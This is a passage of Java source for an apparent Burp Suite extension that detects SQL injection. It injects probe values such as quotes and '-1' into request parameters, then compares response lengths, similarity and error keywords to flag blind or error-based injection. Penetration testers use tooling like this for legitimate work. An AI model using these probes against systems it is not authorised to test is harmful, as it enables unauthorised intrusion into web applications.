如果没有异常且正常完成，添加检测完成状态\n            if (!vul.containsKey(logid) || !vul.get(logid).toString().contains(\"检测异常\")) {\n                addToVulStr(logid, \"检测完成\");\n            }\n            // 更新数据\n            updateUrl(logid, method, url, originalLength, vul.get(logid).toString(), originalRequestResponse);\n        }\n    }\n    // 在json结果列表中查找指定路径的结果\n    private static JsonProcessorUtil.ProcessResult findResultByPath(List<JsonProcessorUtil.ProcessResult> results, String path) {\n        return results.stream()\n                .filter(r -> r.getParamPath().equals(path))\n                .findFirst()\n                .orElse(null);\n    }\n\n    // 检测数字型盲注\n    private static void checkNumberBasedBlind(int logid, IParameter para, String paraName, String paraValue, String url, int originalLength, IHttpRequestResponse originalRequestResponse) {\n        // 获取测试响应\n        IHttpRequestResponse checkedPayload1 = checkPayload(logid, para, paraName, paraValue, url, originalLength, originalRequestResponse, \"-1\");\n        IHttpRequestResponse checkedPayload0 = checkPayload(logid, para, paraName, paraValue, url, originalLength, originalRequestResponse, \"-0\");\n\n        // 获取响应体\n        String originalResponse = getResponseBody(originalRequestResponse);\n        String payload1Response = getResponseBody(checkedPayload1);\n        String payload0Response = getResponseBody(checkedPayload0);\n\n        // 检查是否存在盲注\n        boolean isVulnerable = checkBlindInjection(originalResponse, payload1Response, payload0Response, originalLength, payload1Response.length(), payload0Response.length());\n\n        if (isVulnerable) {\n            reportBlindInjection(logid, paraName, url, checkedPayload1, \"Number\");\n        }\n    }\n\n    // 检测引号型盲注\n    private static void checkQuoteBasedBlind(int logid, IParameter para, String paraName, String paraValue, String url, int originalLength, IHttpRequestResponse originalRequestResponse) {\n        // 获取测试响应\n        IHttpRequestResponse checkedPayloadQuote = checkPayload(logid, para, paraName, paraValue, url, originalLength, originalRequestResponse, \"'\");\n        IHttpRequestResponse checkedPayloadQuotes = checkPayload(logid, para, paraName, paraValue, url, originalLength, originalRequestResponse, \"''\");\n\n        // 获取响应体\n        String originalResponse = getResponseBody(originalRequestResponse);\n        String quoteResponse = getResponseBody(checkedPayloadQuote);\n        String quotesResponse = getResponseBody(checkedPayloadQuotes);\n\n        // 检查是否存在盲注\n        boolean isVulnerable = checkBlindInjection(originalResponse, quoteResponse, quotesResponse, originalLength, quotesResponse.length(), quoteResponse.length());\n\n        if (isVulnerable) {\n            reportBlindInjection(logid, paraName, url, checkedPayloadQuote, \"Quote\");\n        }\n    }\n\n    // 盲注响应长度及相似度对比\n    private static boolean checkBlindInjection(String originalResponse, String abnormalResponse, String normalResponse, int originalLength, int abnormalLength, int normalLength) {\n        if (isBooleanBlind){\n            // 判断方式1: 基于响应长度变化（考虑动态内容）\n            boolean lengthBasedCheck = checkResponseLength(\n                    originalResponse, abnormalResponse, normalResponse,\n                    originalLength, abnormalLength, normalLength\n            );\n\n            // 判断方式2: 基于相似度比对\n            boolean similarityBasedCheck = checkResponseSimilarity(\n                    originalResponse, abnormalResponse, normalResponse\n            );\n\n            return lengthBasedCheck || similarityBasedCheck;\n        }else {\n            return false;\n        }\n    }\n\n    // 检查响应长度模式，考虑动态内容\n    private static boolean checkResponseLength(String originalResponse, String abnormalResponse, String normalResponse, int originalLength, int abnormalLength, int normalLength) {\n\n        // 获取处理后的响应长度\n        int cleanOriginalLength = getCleanResponseLength(originalResponse);\n        int cleanAbnormalLength = getCleanResponseLength(abnormalResponse);\n        int cleanNormalLength = getCleanResponseLength(normalResponse);\n\n        // 计算长度差异\n        int diffOriginalAbnormal = Math.abs(cleanOriginalLength - cleanAbnormalLength);\n        int diffOriginalNormal = Math.abs(cleanOriginalLength - cleanNormalLength);\n        int diffNormalAbnormal = Math.abs(cleanNormalLength - cleanAbnormalLength);\n\n        // 定义长度差异阈值（可根据实际情况调整）\n        int LENGTH_THRESHOLD = 10;\n\n        // 判断长度模式\n        return diffOriginalNormal <= LENGTH_THRESHOLD && // 原始响应和正常响应长度相近\n                diffOriginalAbnormal > LENGTH_THRESHOLD && // 原始响应和异常响应长度差异明显\n                diffNormalAbnormal > LENGTH_THRESHOLD;     // 正常响应和异常响应长度差异明显\n    }\n\n    // 获取清理后的响应长度\n    private static int getCleanResponseLength(String response) {\n        if (response == null || response.isEmpty()) {\n            return 0;\n        }\n\n        String cleanResponse = response;\n\n        // 1. 移除可能的动态令牌\n        cleanResponse = cleanResponse.replaceAll(\"[a-zA-Z0-9]{32,}\", \"TOKEN\");  // 移除32位以上的随机字符串\n        cleanResponse = cleanResponse.replaceAll(\"token=([^&\\\\s\\\"']+)\", \"token=TOKEN\"); // 移除token参数值\n\n        // 2. 移除时间戳相关内容\n        cleanResponse = cleanResponse.replaceAll(\"\\\\d{10,13}\", \"TIMESTAMP\"); // Unix时间戳\n        cleanResponse = cleanResponse.replaceAll(\"\\\\d{4}-\\\\d{2}-\\\\d{2}[T\\\\s]\\\\d{2}:\\\\d{2}:\\\\d{2}\", \"DATETIME\"); // 日期时间\n\n        // 3. 移除动态ID和数字\n        cleanResponse = cleanResponse.replaceAll(\"id=\\\"?\\\\d+\\\"?\", \"id=\\\"ID\\\"\");\n\n        // 4. 移除CSRF令牌\n        cleanResponse = cleanResponse.replaceAll(\"csrf[^=]+=([^&\\\\s\\\"']+)\", \"csrf=TOKEN\");\n\n        // 5. 移除Session相关信息\n        cleanResponse = cleanResponse.replaceAll(\"JSESSIONID=([^;\\\\s\\\"']+)\", \"JSESSIONID=TOKEN\");\n        cleanResponse = cleanResponse.replaceAll(\"session[^=]+=([^&\\\\s\\\"']+)\", \"session=TOKEN\");\n\n        // 6. 移除随机生成的文件名或路径\n        cleanResponse = cleanResponse.replaceAll(\"/tmp/[^\\\\s\\\"']+\", \"/tmp/FILE\");\n        cleanResponse = cleanResponse.replaceAll(\"filename=\\\"[^\\\"]+\\\"\", \"filename=\\\"FILE\\\"\");\n\n        // 7. 移除HTML注释中的动态内容\n        cleanResponse = cleanResponse.replaceAll(\"<!--[\\\\s\\\\S]*?-->\", \"\");\n\n        // 8. 移除版本号和随机字符串\n        cleanResponse = cleanResponse.replaceAll(\"v\\\\d+\\\\.\\\\d+\\\\.\\\\d+\", \"VERSION\");\n        cleanResponse = cleanResponse.replaceAll(\"[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}\", \"UUID\");\n\n        return cleanResponse.length();\n    }\n\n    // 检查响应相似度模式\n    private static boolean checkResponseSimilarity(String originalResponse, String abnormalResponse, String normalResponse) {\n\n        // 清理响应内容\n        String cleanOriginal = cleanResponseForComparison(originalResponse);\n        String cleanAbnormal = cleanResponseForComparison(abnormalResponse);\n        String cleanNormal = cleanResponseForComparison(normalResponse);\n\n        // 相似度比对\n        boolean originalVsNormalSimilar = !ResponseSimilarityMatcher.compareTwoResponses(\n                cleanOriginal, cleanNormal);    // 相似\n        boolean originalVsAbnormalDifferent = ResponseSimilarityMatcher.compareTwoResponses(\n                cleanOriginal, cleanAbnormal);  // 不相似\n        boolean normalVsAbnormalDifferent = ResponseSimilarityMatcher.compareTwoResponses(\n                cleanNormal, cleanAbnormal);    // 不相似\n\n        return originalVsNormalSimilar &&\n                originalVsAbnormalDifferent &&\n                normalVsAbnormalDifferent;\n    }\n\n    // 清理响应内容用于相似度比对\n    private static String cleanResponseForComparison(String response) {\n        if (response == null || response.isEmpty()) {\n            return \"\";\n        }\n\n        String cleanResponse = response;\n\n        // 1. 移除HTML标签（保留内容）\n        cleanResponse = cleanResponse.replaceAll(\"<[^>]+>\", \" \");\n\n        // 2. 移除所有动态内容（与getCleanResponseLength相同的处理）\n        cleanResponse = cleanResponse.replaceAll(\"[a-zA-Z0-9]{32,}\", \"TOKEN\");\n        cleanResponse = cleanResponse.replaceAll(\"token=([^&\\\\s\\\"']+)\", \"token=TOKEN\");\n        // ... [使用与getCleanResponseLength相同的清理规则]\n\n        // 3. 标准化空白字符\n        cleanResponse = cleanResponse.replaceAll(\"\\\\s+\", \" \").trim();\n\n        // 4. 转换为小写以忽略大小写差异\n        cleanResponse = cleanResponse.toLowerCase();\n\n        return cleanResponse;\n    }\n\n    // 存在盲注漏洞\n    private static void reportBlindInjection(int logid, String paraName, String url, IHttpRequestResponse requestResponse, String type) {\n        addToVulStr(logid, \"参数\" + paraName + \"可能存在\" + type + \"盲注\");\n\n        try {\n            IScanIssue issues = new CustomScanIssue(requestResponse.getHttpService(), new URL(url), new IHttpRequestResponse[]{requestResponse}, \"SQL Injection Blind\", \"发现\" + type + \"SQL盲注\", \"High\", \"Certain\");\n            Utils.callbacks.addScanIssue(issues);\n        } catch (MalformedURLException e) {\n            throw new RuntimeException(\"CheckBlind: \" + e);\n        }\n    }\n\n    // 更新url数据到表格\n    public static void updateUrl(int index, String method, String url, int length, String message, IHttpRequestResponse requestResponse) {\n        synchronized (urldata) {\n            if (index >= 0 && index < urldata.size()) {\n                urldata.set(index, new UrlEntry(index, method, url, length, message, requestResponse));\n            }\n            urltable.updateUI();\n            payloadtable.updateUI();\n        }\n    }\n\n    // 检查参数是否为整数类型\n    private static boolean isIntegerParameter(String value) {\n        // 空值检查\n        if (value == null || value.trim().isEmpty()) {\n            return false;\n        }\n\n        // 检查是否为纯数字\n        if (!value.matches(\"^-?\\\\d+$\")) {\n            return false;\n        }\n\n        try {\n            // 尝试转换为整数\n            Integer.parseInt(value);\n            return true;\n        } catch (NumberFormatException e) {\n            return false;\n        }\n    }\n\n    // 正则判断响应数据包中是否包含报错关键字 @href https://github.com/saoshao/DetSql/blob/master/src/main/java/DetSql/MyHttpHandler.java\n    private static boolean errSqlCheck(String responseBody) {\n        if (!listErrorKey.isEmpty()) {\n            for (String errKey : listErrorKey) {\n                if (responseBody.contains(errKey)) {\n                    return true;\n                }\n            }\n        }\n\n        String cleanedText = responseBody.replaceAll(\"\\\\n|\\\\r|\\\\r\\\\n\", \"\");\n        for (String rule : rules) {\n            Pattern pattern = Pattern.compile(rule, Pattern.CASE_INSENSITIVE);\n            if (pattern.matcher(cleanedText).find()) {\n                return true;\n            }\n        }\n        return false;\n    }\n\n    // 获取响应包的响应体内容\n    private static String getResponseBody(IHttpRequestResponse requestResponse) {\n        if (requestResponse == null || requestResponse.getResponse() == null) {\n            return \"\";\n        }\n        byte[] response = requestResponse.getResponse();\n        IResponseInfo responseInfo = Utils.helpers.analyzeResponse(response);\n        int bodyOffset = responseInfo.getBodyOffset();\n\n        return new String(Arrays.copyOfRange(response, bodyOffset, response.length));\n    }\n\n    // 添加url数据到表格\n    public static int addUrl(String method, String url, int length, IHttpRequestResponse requestResponse) {\n        int id = urlIdCounter.getAndIncrement();\n        UrlEntry entry = new UrlEntry(id, method, url, length, \"正在检测\", requestResponse);\n        urlPayloadMapping.put(id, Collections.synchronizedList(new ArrayList<>()));\n\n        SwingUtilities.invokeLater(() -> {\n            urldata.add(entry);\n            urltable.updateUI();\n        });\n        return id;\n    }\n\n    // 添加漏洞数据到表格\n    public static void addToVulStr(int key, CharSequence value) {\n        // 检查是否已经存在该键，如果不存在则创建一个新的 ArrayList 存储值\n        vul.computeIfAbsent(key, k -> new StringBuilder()).append(value).append(\", \");\n    }\n\n    // 添加payload数据到表格\n    public static void addPayload(int selectId, String key, String value, int length, String change, String errkey, String time, String status, IHttpRequestResponse requestResponse) {\n        PayloadEntry entry = new PayloadEntry(selectId, key, value, length, change, errkey, time, status, requestResponse);\n        urlPayloadMapping.get(selectId).add(entry);\n\n        SwingUtilities.invokeLater(() -> {\n            payloaddata2.add(entry);\n            payloadtable.updateUI();\n        });\n    }\n\n    // payload检测方法\n    public static IHttpRequestResponse checkPayload(int logid, IParameter para, String paraName, String paraValue, String url, int originalLength, IHttpRequestResponse baseRequestResponse, String value) {\n\n        String payload;\n        String errkey = \"x\";\n\n        // URL编码处理\n        if (isUrlEncode) {\n            value = Utils.UrlEncode(value);\n        }\n\n        // 构造payload\n        payload = isDeleteOrgin ? value : paraValue + value;\n\n        // 发送请求并记录时间\n        long startTime = System.currentTimeMillis();\n\n        // 构造新的参数\n        IParameter iParameters = Utils.helpers.buildParameter(paraName, payload, para.getType());\n        byte[] paramByte = Utils.helpers.updateParameter(baseRequestResponse.getRequest(), iParameters);\n\n        // 发送请求\n        IHttpRequestResponse newRequestResponses = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), paramByte);\n\n        long endTime = System.currentTimeMillis();\n        String responseTimes = String.valueOf(endTime - startTime);\n\n\n        // 获取响应数据\n        byte[] responseBody = newRequestResponses.getResponse();\n        if (responseBody != null) {\n            // 分析响应\n            IResponseInfo analyzeResponse = Utils.helpers.analyzeResponse(responseBody);\n            int statusCode = analyzeResponse.getStatusCode();\n\n            // 获取响应长度\n            int length;\n            List<String> headers = analyzeResponse.getHeaders();\n            String contentLength = HelperPlus.getHeaderValueOf(headers, \"Content-Length\");\n            if (contentLength != null) {\n                length = Integer.parseInt(contentLength);\n            } else {\n                length = responseBody.length;\n            }\n\n            // 检查SQL错误\n            String responseBodyStr = new String(responseBody);\n            if (errSqlCheck(responseBodyStr)) {\n                errkey = \"存在报错\";\n                addToVulStr(logid, \"参数\" + paraName + \"存在报错\");\n\n                try {\n                    IScanIssue errIssues = new CustomScanIssue(newRequestResponses.getHttpService(), new URL(url), new IHttpRequestResponse[]{newRequestResponses}, \"SqlInject Error\", \"SqlInject 发现报错\", \"High\", \"Certain\");\n                    Utils.callbacks.addScanIssue(errIssues);\n                } catch (Exception e) {\n                    Utils.stderr.println(\"CustomScanIssue \" + e);\n                }\n            }\n            // 常规的检测不存在延时的\n//            if (Integer.parseInt(responseTimes) > 6000) {\n//                errkey = \"存在延时\";\n//                addToVulStr(logid, \"参数\" + paraName + \"存在延时\");\n//                try {\n//                    IScanIssue timeIssues = new CustomScanIssue(newRequestResponses.getHttpService(), new URL(url), new IHttpRequestResponse[]{newRequestResponses}, \"SqlInject Time\", \"SqlInject 发现延时注入\", \"High\", \"Certain\");\n//                    Utils.callbacks.addScanIssue(timeIssues);\n//                } catch (MalformedURLException e) {\n//                    throw new RuntimeException(\"CheckRaw\" + e);\n//                }\n//            }\n\n            // 记录payload结果\n            addPayload(logid, paraName, payload, length, String.valueOf(length - originalLength), errkey, String.valueOf(endTime - startTime), String.valueOf(statusCode), newRequestResponses);\n        }\n\n        return newRequestResponses;\n    }\n\n\n    @Override\n    public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse iHttpRequestResponse) {\n        if (isPassiveScan && toolFlag == IBurpExtenderCallbacks.TOOL_PROXY && !messageIsRequest) {\n            synchronized (urldata) {\n                Thread thread = new Thread(new Runnable() {\n                    @Override\n                    public void run() {\n                        Check(new IHttpRequestResponse[]{iHttpRequestResponse}, false);\n                    }\n                });\n                thread.start();\n            }\n        }\n    }\n\n    @Override\n    public IHttpService getHttpService() {\n        return currentlyDisplayedItem.getHttpService();\n    }\n\n    @Override\n    public byte[] getRequest() {\n        return currentlyDisplayedItem.getRequest();\n    }\n\n    @Override\n    public byte[] getResponse() {\n        return currentlyDisplayedItem.getResponse();\n    }\n\n    @Override\n    public void init() {\n        // 获取所有报错关键字\n        List<SqlBean> sqlErrorKey = getSqlListsByType(\"sqlErrorKey\");\n        for (SqlBean sqlBean : sqlErrorKey) {\n            listErrorKey.add(sqlBean.getValue());\n        }\n\n        // 获取所有payload\n        sqliPayload = getSqlListsByType(\"payload\");\n\n        List<SqlBean> domain = getSqlListsByType(\"domain\");\n        // 将domain转为List<String>\n        domainList = new ArrayList<>();\n        for (SqlBean sqlBean : domain) {\n            domainList.add(sqlBean.getValue());\n        }\n\n        // 获取数据库中的header\n        headerList = getSqlListsByType(\"header\");\n\n        setupUI();\n        setupData();\n    }\n\n    private void setupData() {\n        // 盲注检查\n        booleanBlindCheckBox.addActionListener(e -> isBooleanBlind = booleanBlindCheckBox.isSelected());\n\n        refreshTableButton.addActionListener(e -> {\n            urltable.updateUI();\n            payloadtable.updateUI();\n        });\n        clearTableButton.addActionListener(e -> {\n            urlPayloadMapping.clear();\n            urlIdCounter.set(0);\n            urldata.clear();\n            payloaddata.clear();\n            payloaddata2.clear();\n            vul.clear();\n            UrlCacheUtil.resetCache(\"sqli\");  // 清空URL缓存\n            HRequestTextEditor.setMessage(new byte[0], true);\n            HResponseTextEditor.setMessage(new byte[0], false);\n            urltable.updateUI();\n            payloadtable.updateUI();\n        });\n        // 保存sql payload\n        saveSqlPayloadButton.addActionListener(e -> {\n            String sqleditorPane1Text = sqlPayloadTextArea.getText();\n            deleteSqlByType(\"payload\");\n            // 清空内存中的sqliPayload列表\n            sqliPayload.clear();\n            // 如果包含换行符，就分割成多个payload\n            if (sqleditorPane1Text.contains(\"\\n\")) {\n                String[] payloads = sqleditorPane1Text.split(\"\\n\");\n                for (String payload : payloads) {\n                    if (payload.isEmpty()) {\n                        continue;\n                    }\n                    SqlBean sqlBean = new SqlBean(\"payload\", payload);\n                    saveSql(sqlBean);\n                }\n            } else {\n                if (sqleditorPane1Text.isEmpty()) {\n                    return;\n                }\n                SqlBean sqlBean = new SqlBean(\"payload\", sqleditorPane1Text);\n                saveSql(sqlBean);\n            }\n            // 获取所有payload\n            sqliPayload = getSqlListsByType(\"payload\");\n            sqlPayloadTextArea.updateUI();\n            JOptionPane.showMessageDialog(null, I18nUtils.get(\"config.message.save_success\"), I18nUtils.get(\"config.title.info\"), JOptionPane.INFORMATION_MESSAGE);\n        });\n        // 保存header\n        saveHeaderListButton.addActionListener(e -> {\n            String headerTextAreaText = headerTextArea.getText();\n            deleteSqlByType(\"header\");\n            // 如果包含换行符，就分割成多个header\n            if (headerTextAreaText.contains(\"\\n\")) {\n                String[] headers = headerTextAreaText.split(\"\\n\");\n                for (String header : headers) {\n                    if (header.isEmpty()) {\n                        continue;\n                    }\n                    SqlBean sqlBean = new SqlBean(\"header\", header);\n                    saveSql(sqlBean);\n                }\n            } else {\n                if (headerTextAreaText.isEmpty()) {\n                    return;\n                }\n                SqlBean sqlBean = new SqlBean(\"header\", headerTextAreaText);\n                saveSql(sqlBean);\n            }\n            // 获取数据库中的header\n            headerList = getSqlListsByType(\"header\");\n            headerTextArea.updateUI();\n            JOptionPane.showMessageDialog(null, I18nUtils.get(\"config.message.save_success\"), I18nUtils.get(\"config.title.info\"), JOptionPane.INFORMATION_MESSAGE);\n        });\n        // 保存白名单域名\n        saveWhiteListButton.addActionListener(e -> {\n            String whiteListTextAreaText = whiteListTextArea.getText();\n            deleteSqlByType(\"domain\");\n            // 如果包含换行符，就分割成多个domain\n            if (whiteListTextAreaText.contains(\"\\n\")) {\n                String[] whitedomains = whiteListTextAreaText.split(\"\\n\");\n                for (String whitedomain : whitedomains) {\n                    if (whitedomain.isEmpty()) {\n                        continue;\n                    }\n                    SqlBean sqlBean = new SqlBean(\"domain\", whitedomain);\n                    saveSql(sqlBean);\n                }\n            } else {\n                if (whiteListTextAreaText.isEmpty()) {\n                    return;\n                }\n                SqlBean sqlBean = new SqlBean(\"domain\", whiteListTextAreaText);\n                saveSql(sqlBean);\n            }\n            List<SqlBean> domain = getSqlListsByType(\"domain\");\n            // 将domain转为List<String>\n            for (SqlBean sqlBean : domain) {\n                domainList.add(sqlBean.getValue());\n            }\n            whiteListTextArea.updateUI();\n            JOptionPane.showMessageDialog(null, I18nUtils.get(\"config.message.save_success\"), I18nUtils.get(\"config.title.info\"), JOptionPane.INFORMATION_MESSAGE);\n        });\n        saveSqlErrorKeyButton.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                deleteSqlByType(\"sqlErrorKey\");\n                String sqlErrorKeyTextAreaText = sqlErrorKeyTextArea.getText();\n                // 如果包含换行符，就分割成多个errorkey\n                if (sqlErrorKeyTextAreaText.contains(\"\\n\")) {\n                    String[] errkeys = sqlErrorKeyTextAreaText.split(\"\\n\");\n                    for (String errkey : errkeys) {\n                        if (errkey.isEmpty()) {\n                            continue;\n                        }\n                        SqlBean sqlBean = new SqlBean(\"sqlErrorKey\", errkey);\n                        saveSql(sqlBean);\n                    }\n                } else {\n                    if (sqlErrorKeyTextAreaText.isEmpty()) {\n                        return;\n                    }\n                    SqlBean sqlBean = new SqlBean(\"sqlErrorKey\", sqlErrorKeyTextAreaText);\n                    saveSql(sqlBean);\n                }\n                // 获取所有报错关键字\n                List<SqlBean> sqlErrorKey = getSqlListsByType(\"sqlErrorKey\");\n                for (SqlBean sqlBean : sqlErrorKey) {\n                    listErrorKey.add(sqlBean.getValue());\n                }\n                sqlErrorKeyTextArea.updateUI();\n                JOptionPane.showMessageDialog(null, I18nUtils.get(\"config.message.save_success\"), I18nUtils.get(\"config.title.info\"), JOptionPane.INFORMATION_MESSAGE);\n            }\n        });\n        // 被动扫描选择框事件\n        passiveScanCheckBox.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                if (passiveScanCheckBox.isSelected()) {\n                    isPassiveScan = true;\n                } else {\n                    isPassiveScan = false;\n                }\n            }\n        });\n        // 删除原始值选择框事件\n        deleteOriginalValueCheckBox.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                if (deleteOriginalValueCheckBox.isSelected()) {\n                    isDeleteOrgin = true;\n                } else {\n                    isDeleteOrgin = false;\n                }\n            }\n        });\n        // 检测cookie选择框事件\n        checkCookieCheckBox.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                if (checkCookieCheckBox.isSelected()) {\n                    isCheckCookie = true;\n                } else {\n                    isCheckCookie = false;\n                }\n            }\n        });\n        // 检测header选择框事件\n        checkHeaderCheckBox.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                if (checkHeaderCheckBox.isSelected()) {\n                    isCheckHeader = true;\n                } else {\n                    isCheckHeader = false;\n                }\n            }\n        });\n        // 白名单域名检测选择框事件\n        checkWhiteListCheckBox.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                if (checkWhiteListCheckBox.isSelected()) {\n                    isWhiteDomain = true;\n                } else {\n                    isWhiteDomain = false;\n                }\n            }\n        });\n        // isUrlEncode\n        urlEncodeCheckBox.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                if (urlEncodeCheckBox.isSelected()) {\n                    isUrlEncode = true;\n                } else {\n                    isUrlEncode = false;\n                }\n            }\n        });\n        // 数据库获取payload,输出到面板\n        List<SqlBean> sqlList = getSqlListsByType(\"payload\");\n        for (SqlBean sqlBean : sqlList) {\n            // 如果是最后一个，就不加换行符\n            if (sqlList.indexOf(sqlBean) == sqlList.size() - 1) {\n                sqlPayloadTextArea.setText(sqlPayloadTextArea.getText() + sqlBean.getValue());\n                break;\n            }\n            sqlPayloadTextArea.setText(sqlPayloadTextArea.getText() + sqlBean.getValue() + \"\\n\");\n        }\n        // 数据库获取header,输出到面板\n        List<SqlBean> header = getSqlListsByType(\"header\");\n        for (SqlBean sqlBean : header) {\n            // 如果是最后一个，就不加换行符\n            if (header.indexOf(sqlBean) == header.size() - 1) {\n                headerTextArea.setText(headerTextArea.getText() + sqlBean.getValue());\n                break;\n            }\n            headerTextArea.setText(headerTextArea.getText() + sqlBean.getValue() + \"\\n\");\n        }\n        // 数据库获取白名单域名,输出到面板\n        List<SqlBean> domains = getSqlListsByType(\"domain\");\n        for (SqlBean sqlBean : domains) {\n            // 如果是最后一个，就不加换行符\n            if (domains.indexOf(sqlBean) == domains.size() - 1) {\n                whiteListTextArea.setText(whiteListTextArea.getText() + sqlBean.getValue());\n                break;\n            }\n            whiteListTextArea.setText(whiteListTextArea.getText() + sqlBean.getValue() + \"\\n\");\n        }\n        // sqlErrorKeyTextArea\n        List<SqlBean> sqlErrorKey = getSqlListsByType(\"sqlErrorKey\");\n        for (SqlBean sqlBean : sqlErrorKey) {\n            // 如果是最后一个，就不加换行符\n            if (sqlErrorKey.indexOf(sqlBean) == sqlErrorKey.size() - 1) {\n                sqlErrorKeyTextArea.setText(sqlErrorKeyTextArea.getText() + sqlBean.getValue());\n                break;\n            }\n            sqlErrorKeyTextArea.setText(sqlErrorKeyTextArea.getText() + sqlBean.getValue() + \"\\n\");\n        }\n    }\n\n    private void setupUI() {\n        // 注册被动扫描监听器\n        Utils.callbacks.registerHttpListener(this);\n        panel = new JPanel();\n        panel.setLayout(new BorderLayout());\n\n        // 左边的面板\n        // 左边的上下分割 上部分和下部分占比6:4\n        JSplitPane leftSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT);\n        leftSplitPane.setResizeWeight(0.6);\n        leftSplitPane.setDividerLocation(0.6);\n\n        // 左边的上部分左右对称分割\n        JSplitPane zsSplitPane = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT);\n        zsSplitPane.setResizeWeight(0.5);\n        zsSplitPane.setDividerLocation(0.5);\n        // 添加到leftSplitPane\n        // 左右对称分割面板\n\n        // 添加到zsSplitPane\n        urltablescrollpane = new JScrollPane();\n        zsSplitPane.setLeftComponent(urltablescrollpane);\n        UrlModel urlModel = new UrlModel();\n        urltable = new URLTable(urlModel);\n        urltablescrollpane.setViewportView(urltable);\n\n\n        // 创建一个自定义的单元格渲染器\n        DefaultTableCellRenderer renderer = new DefaultTableCellRenderer() {\n            @Override\n            public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) {\n                JLabel label = (JLabel) super.getTableCellRendererComponent(table, value, isSelected, hasFocus, row, column);\n                label.setHorizontalAlignment(JLabel.CENTER);\n                label.setHorizontalTextPosition(JLabel.CENTER);\n                label.setIconTextGap(0);\n                label.setMaximumSize(new Dimension(Integer.MAX_VALUE, label.getPreferredSize().height));\n                label.setToolTipText((String) value); // 设置鼠标悬停时显示的提示文本\n                return label;\n            }\n        };\n        // 表格渲染\n        urltable.getColumnModel().getColumn(4).setCellRenderer(renderer);\n\n\n        payloadtablescrollpane = new JScrollPane();\n        zsSplitPane.setRightComponent(payloadtablescrollpane);\n        PayloadModel payloadModel = new PayloadModel();\n        payloadtable = new PayloadTable(payloadModel);\n        payloadtablescrollpane.setViewportView(payloadtable);\n\n        // 表格渲染\n        payloadtable.getColumnModel().getColumn(0).setCellRenderer(renderer);\n\n        // 左边的下部分左右对称分割\n        JSplitPane zxSplitPane = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT);\n        zxSplitPane.setResizeWeight(0.5);\n        zxSplitPane.setDividerLocation(0.5);\n        // 添加到leftSplitPane下面\n        HRequestTextEditor = Utils.callbacks.createMessageEditor(SqlUI.this, true);\n        HResponseTextEditor = Utils.callbacks.createMessageEditor(SqlUI.this, false);\n        tabbedPanereq = new JTabbedPane();\n        tabbedPanereq.addTab(\"Request\", HRequestTextEditor.getComponent());\n        tabbedPaneresp = new JTabbedPane();\n        tabbedPaneresp.addTab(\"Response\", HResponseTextEditor.getComponent());\n        zxSplitPane.setLeftComponent(tabbedPanereq);\n        zxSplitPane.setRightComponent(tabbedPaneresp);\n\n        leftSplitPane.setLeftComponent(zsSplitPane);\n        leftSplitPane.setRightComponent(zxSplitPane);\n\n\n        // 右边的上下按7:3分割\n        JSplitPane rightSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT);\n        rightSplitPane.setResizeWeight(0.7);\n        rightSplitPane.setDividerLocation(0.7);\n\n\n        // 右边的上部分\n        // 添加被动扫描选择框\n        passiveScanCheckBox = new JCheckBox(I18nUtils.get(\"sql.checkbox.passive\"));\n        // 添加删除原始值选择框\n        deleteOriginalValueCheckBox = new JCheckBox(I18nUtils.get(\"sql.checkbox.delete_original\"));\n        // 添加检测cookie选择框\n        checkCookieCheckBox = new JCheckBox(I18nUtils.get(\"sql.checkbox.check_cookie\"));\n        // 添加检测header选择框\n        checkHeaderCheckBox = new JCheckBox(I18nUtils.get(\"sql.checkbox.check_header\"));\n        // 添加白名单域名检测选择框\n        checkWhiteListCheckBox = new JCheckBox(I18nUtils.get(\"sql.checkbox.whitelist\"));\n        urlEncodeCheckBox = new JCheckBox(I18nUtils.get(\"sql.checkbox.url_encode\"));\n        // 白名单域名保存按钮\n        saveWhiteListButton = new JButton(I18nUtils.get(\"sql.button.save_whitelist\"));\n        // 保存header按钮\n        saveHeaderListButton = new JButton(I18nUtils.get(\"sql.button.save_header\"));\n        // 白名单域名输入框列表\n        whiteListTextArea = new JTextArea(5, 10);\n        whiteListTextArea.setLineWrap(false); // 自动换行\n        whiteListTextArea.setWrapStyleWord(false); // 按单词换行\n        JScrollPane whiteListTextAreascrollPane = new JScrollPane(whiteListTextArea);\n\n        // header检测数据框列表\n        headerTextArea = new JTextArea(5, 10);\n        headerTextArea.setLineWrap(true); // 自动换行\n        headerTextArea.setWrapStyleWord(true); // 按单词换行\n        JScrollPane headerTextAreascrollPane = new JScrollPane(headerTextArea);\n        // 刷新表格按钮\n        refreshTableButton = new JButton(I18nUtils.get(\"sql.button.refresh\"));\n        // 清空表格按钮\n        clearTableButton = new JButton(I18nUtils.get(\"sql.button.clear\"));\n        // 白名单域名label\n        JLabel whiteDomainListLabel = new JLabel(I18nUtils.get(\"sql.label.whitelist\"));\n        // 检测header label\n        JLabel headerLabel = new JLabel(I18nUtils.get(\"sql.label.header\"));\n\n        booleanBlindCheckBox = new JCheckBox(I18nUtils.get(\"sql.checkbox.boolean_blind\"));\n        \n        // 添加到右边的上部分 - 重新设计布局\n        JPanel rightTopPanel = new JPanel();\n        rightTopPanel.setLayout(new BorderLayout());\n        rightTopPanel.setBorder(BorderFactory.createEmptyBorder(5, 5, 5, 5));\n\n        // 创建扫描选项面板\n        JPanel scanOptionsPanel = new JPanel();\n        scanOptionsPanel.setLayout(new GridLayout(2, 3, 5, 5));\n        scanOptionsPanel.setBorder(BorderFactory.createTitledBorder(I18nUtils.get(\"sql.border.scan_options\")));\n        